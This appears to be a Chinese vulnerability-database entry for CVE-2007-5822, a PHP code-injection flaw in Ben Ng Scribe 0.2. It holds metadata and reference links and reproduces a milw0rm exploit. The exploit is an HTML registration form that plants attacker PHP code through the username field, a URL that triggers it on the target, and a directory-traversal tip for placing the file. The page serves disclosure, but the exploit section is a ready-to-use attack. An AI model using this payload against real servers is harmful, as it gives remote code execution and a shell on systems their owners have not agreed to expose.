Ben Ng Scribe Forum.PHP 直接静态代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113893 漏洞类型 代码注入
发布时间 2007-11-02 更新时间 2007-11-08
CVE编号 CVE-2007-5822 CNNVD-ID CNNVD-200711-056
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/4596
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200711-056
|漏洞详情
BenNgScribe0.2版本及其早期版本的forum.php中存在直接静态代码注入漏洞,远程攻击者可以借助Register操作中的username参数,向regged/的某些文件注入任意PHP代码。
|漏洞EXP
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

	Scribe <= 0.2 Remote PHP Code Execution
   Download: http://sourceforge.net/projects/scribe/

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

When we register a news user, scribe make a file called [username].php located 
in /regged/. The file contains:

Username: [username]
---------------------------------------------------------------
Exploit:

<form id="Register" action="http://[target]/[scribe_path]/forum.php?act=7" 
method="post">
<input maxlength="99999999999" name="username" type="text" value="<script 
language=php>[YOUR_PHP_CODE]"><br>
<input maxlength="32" name="password" type="password" value="kingolo"><br>
<input maxlength="32" name="cpassword" type="password" value="kingolo"><br>
<input maxlength="50" name="email" type="text" value="kingolo"><br>
<input name="confirm" value="Make Shell!" type="submit">
</form>

Now, go on:

http://[target]/[scribe_path]/regged/<script language=php>[YOUR_PHP_CODE].php

And your code will be execute on target server!
---------------------------------------------------------------
Trick:

If you insert directory traversal variable in your username, u can save the 
file where u want  ;) 
---------------------------------------------------------------

# milw0rm.com [2007-11-02]
|参考资料

来源:XF
名称:scribe-username-code-execution(38227)
链接:http://xforce.iss.net/xforce/xfdb/38227
来源:BID
名称:26302
链接:http://www.securityfocus.com/bid/26302
来源:BUGTRAQ
名称:20071101Scribe<=2.0RemotePHPCodeExecution
链接:http://www.securityfocus.com/archive/1/archive/1/483183/100/0/threaded
来源:MILW0RM
名称:4596
链接:http://www.milw0rm.com/exploits/4596
来源:MISC
链接:http://www.inj3ct-it.org/exploit/scribe.txt
来源:VUPEN
名称:ADV-2007-3746
链接:http://www.frsirt.com/english/advisories/2007/3746
来源:SREASON
名称:3339
链接:http://securityreason.com/securityalert/3339
来源:OSVDB
名称:45287
链接:http://osvdb.org/45287